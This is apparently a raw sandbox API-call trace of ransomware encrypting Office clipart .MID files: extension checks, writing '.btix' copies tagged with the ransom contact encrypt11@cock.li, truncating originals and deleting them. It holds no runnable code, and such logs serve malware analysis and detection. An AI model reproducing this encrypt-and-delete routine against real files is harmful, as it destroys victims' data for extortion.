[0136.276] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.276] lstrlenW (lpString=".ppt") returned 4 [0136.276] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0136.277] lstrlenW (lpString=".zip") returned 4 [0136.277] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.277] lstrlenW (lpString=".rar") returned 4 [0136.277] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.277] lstrlenW (lpString=".bz2") returned 4 [0136.277] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.277] lstrlenW (lpString=".7z") returned 3 [0136.277] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0136.277] lstrlenW (lpString=".dbf") returned 4 [0136.277] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0136.277] lstrlenW (lpString=".1cd") returned 4 [0136.277] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0136.277] lstrlenW (lpString=".jpg") returned 4 [0136.277] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.277] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0136.277] lstrlenW (lpString="HTECH_01.MID") returned 12 [0136.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0136.278] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=7178) returned 1 [0136.278] CloseHandle (hObject=0x544) returned 1 [0136.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 0x220 [0136.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0136.278] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.278] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0136.279] GetLastError () returned 0x0 [0136.279] ReadFile (in: hFile=0x544, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x1c0a, lpOverlapped=0x0) returned 1 [0136.339] WriteFile (in: hFile=0x4b4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x1c10, lpOverlapped=0x0) returned 1 [0136.340] ReadFile (in: hFile=0x544, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.340] WriteFile (in: hFile=0x4b4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.340] SetEndOfFile (hFile=0x4b4) returned 1 [0136.340] CloseHandle (hObject=0x4b4) returned 1 [0136.340] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.341] SetEndOfFile (hFile=0x544) returned 1 [0136.342] CloseHandle (hObject=0x544) returned 1 [0136.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.343] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 1 [0136.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0136.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0136.344] lstrlenW (lpString=".doc") returned 4 [0136.344] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.344] lstrlenW (lpString=".docx") returned 5 [0136.344] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.344] lstrlenW (lpString=".pdf") returned 4 [0136.344] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.344] lstrlenW (lpString=".xls") returned 4 [0136.344] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.344] lstrlenW (lpString=".xlsx") returned 5 [0136.344] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.344] lstrlenW (lpString=".ppt") returned 4 [0136.344] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0136.344] lstrlenW (lpString=".zip") returned 4 [0136.344] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.344] lstrlenW (lpString=".rar") returned 4 [0136.344] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.344] lstrlenW (lpString=".bz2") returned 4 [0136.344] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.344] lstrlenW (lpString=".7z") returned 3 [0136.344] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0136.344] lstrlenW (lpString=".dbf") returned 4 [0136.344] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0136.344] lstrlenW (lpString=".1cd") returned 4 [0136.344] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0136.345] lstrlenW (lpString=".jpg") returned 4 [0136.345] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0136.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0136.345] lstrlenW (lpString=".doc") returned 4 [0136.345] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.345] lstrlenW (lpString=".docx") returned 5 [0136.345] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.345] lstrlenW (lpString=".pdf") returned 4 [0136.345] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.345] lstrlenW (lpString=".xls") returned 4 [0136.345] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.345] lstrlenW (lpString=".xlsx") returned 5 [0136.345] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.345] lstrlenW (lpString=".ppt") returned 4 [0136.345] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0136.345] lstrlenW (lpString=".zip") returned 4 [0136.345] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.345] lstrlenW (lpString=".rar") returned 4 [0136.345] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.345] lstrlenW (lpString=".bz2") returned 4 [0136.345] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.345] lstrlenW (lpString=".7z") returned 3 [0136.345] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0136.345] lstrlenW (lpString=".dbf") returned 4 [0136.345] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0136.345] lstrlenW (lpString=".1cd") returned 4 [0136.346] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0136.346] lstrlenW (lpString=".jpg") returned 4 [0136.346] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.346] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0136.346] lstrlenW (lpString="INDST_01.MID") returned 12 [0136.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0136.346] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=8568) returned 1 [0136.346] CloseHandle (hObject=0x544) returned 1 [0136.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 0x220 [0136.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0136.347] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.347] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0136.347] GetLastError () returned 0x0 [0136.347] ReadFile (in: hFile=0x544, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x2178, lpOverlapped=0x0) returned 1 [0136.360] WriteFile (in: hFile=0x4b4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x2180, lpOverlapped=0x0) returned 1 [0136.361] ReadFile (in: hFile=0x544, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.361] WriteFile (in: hFile=0x4b4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.361] SetEndOfFile (hFile=0x4b4) returned 1 [0136.362] CloseHandle (hObject=0x4b4) returned 1 [0136.364] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.364] SetEndOfFile (hFile=0x544) returned 1 [0136.368] CloseHandle (hObject=0x544) returned 1 [0136.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 1 [0136.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0136.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0136.371] lstrlenW (lpString=".doc") returned 4 [0136.371] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.371] lstrlenW (lpString=".docx") returned 5 [0136.371] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.371] lstrlenW (lpString=".pdf") returned 4 [0136.371] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.371] lstrlenW (lpString=".xls") returned 4 [0136.371] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.371] lstrlenW (lpString=".xlsx") returned 5 [0136.371] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.371] lstrlenW (lpString=".ppt") returned 4 [0136.371] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0136.371] lstrlenW (lpString=".zip") returned 4 [0136.372] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.372] lstrlenW (lpString=".rar") returned 4 [0136.372] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.372] lstrlenW (lpString=".bz2") returned 4 [0136.372] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.372] lstrlenW (lpString=".7z") returned 3 [0136.372] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0136.372] lstrlenW (lpString=".dbf") returned 4 [0136.372] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0136.372] lstrlenW (lpString=".1cd") returned 4 [0136.372] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0136.372] lstrlenW (lpString=".jpg") returned 4 [0136.372] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0136.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0136.372] lstrlenW (lpString=".doc") returned 4 [0136.372] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.372] lstrlenW (lpString=".docx") returned 5 [0136.372] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.372] lstrlenW (lpString=".pdf") returned 4 [0136.372] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.372] lstrlenW (lpString=".xls") returned 4 [0136.372] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.372] lstrlenW (lpString=".xlsx") returned 5 [0136.372] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.372] lstrlenW (lpString=".ppt") returned 4 [0136.372] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0136.372] lstrlenW (lpString=".zip") returned 4 [0136.372] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.372] lstrlenW (lpString=".rar") returned 4 [0136.372] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.373] lstrlenW (lpString=".bz2") returned 4 [0136.373] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.373] lstrlenW (lpString=".7z") returned 3 [0136.373] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0136.373] lstrlenW (lpString=".dbf") returned 4 [0136.373] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0136.373] lstrlenW (lpString=".1cd") returned 4 [0136.373] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0136.373] lstrlenW (lpString=".jpg") returned 4 [0136.373] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.373] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0136.373] lstrlenW (lpString="JAVA_01.MID") returned 11 [0136.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0136.374] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=9797) returned 1 [0136.374] CloseHandle (hObject=0x544) returned 1 [0136.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 0x220 [0136.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0136.375] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.375] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0136.375] GetLastError () returned 0x0 [0136.375] ReadFile (in: hFile=0x544, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x2645, lpOverlapped=0x0) returned 1 [0136.389] WriteFile (in: hFile=0x4c4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x2650, lpOverlapped=0x0) returned 1 [0136.390] ReadFile (in: hFile=0x544, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.390] WriteFile (in: hFile=0x4c4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xea, lpOverlapped=0x0) returned 1 [0136.390] SetEndOfFile (hFile=0x4c4) returned 1 [0136.390] CloseHandle (hObject=0x4c4) returned 1 [0136.390] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.390] SetEndOfFile (hFile=0x544) returned 1 [0136.392] CloseHandle (hObject=0x544) returned 1 [0136.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 1 [0136.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0136.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0136.393] lstrlenW (lpString=".doc") returned 4 [0136.393] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.393] lstrlenW (lpString=".docx") returned 5 [0136.393] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.393] lstrlenW (lpString=".pdf") returned 4 [0136.393] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.393] lstrlenW (lpString=".xls") returned 4 [0136.393] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.393] lstrlenW (lpString=".xlsx") returned 5 [0136.393] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.394] lstrlenW (lpString=".ppt") returned 4 [0136.394] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0136.394] lstrlenW (lpString=".zip") returned 4 [0136.394] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.394] lstrlenW (lpString=".rar") returned 4 [0136.394] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.394] lstrlenW (lpString=".bz2") returned 4 [0136.394] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.394] lstrlenW (lpString=".7z") returned 3 [0136.394] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0136.394] lstrlenW (lpString=".dbf") returned 4 [0136.394] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0136.394] lstrlenW (lpString=".1cd") returned 4 [0136.394] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0136.394] lstrlenW (lpString=".jpg") returned 4 [0136.394] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0136.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0136.394] lstrlenW (lpString=".doc") returned 4 [0136.394] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.394] lstrlenW (lpString=".docx") returned 5 [0136.394] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.394] lstrlenW (lpString=".pdf") returned 4 [0136.394] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.394] lstrlenW (lpString=".xls") returned 4 [0136.394] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.394] lstrlenW (lpString=".xlsx") returned 5 [0136.394] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.394] lstrlenW (lpString=".ppt") returned 4 [0136.394] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0136.395] lstrlenW (lpString=".zip") returned 4 [0136.395] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.395] lstrlenW (lpString=".rar") returned 4 [0136.395] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.395] lstrlenW (lpString=".bz2") returned 4 [0136.395] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.395] lstrlenW (lpString=".7z") returned 3 [0136.395] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 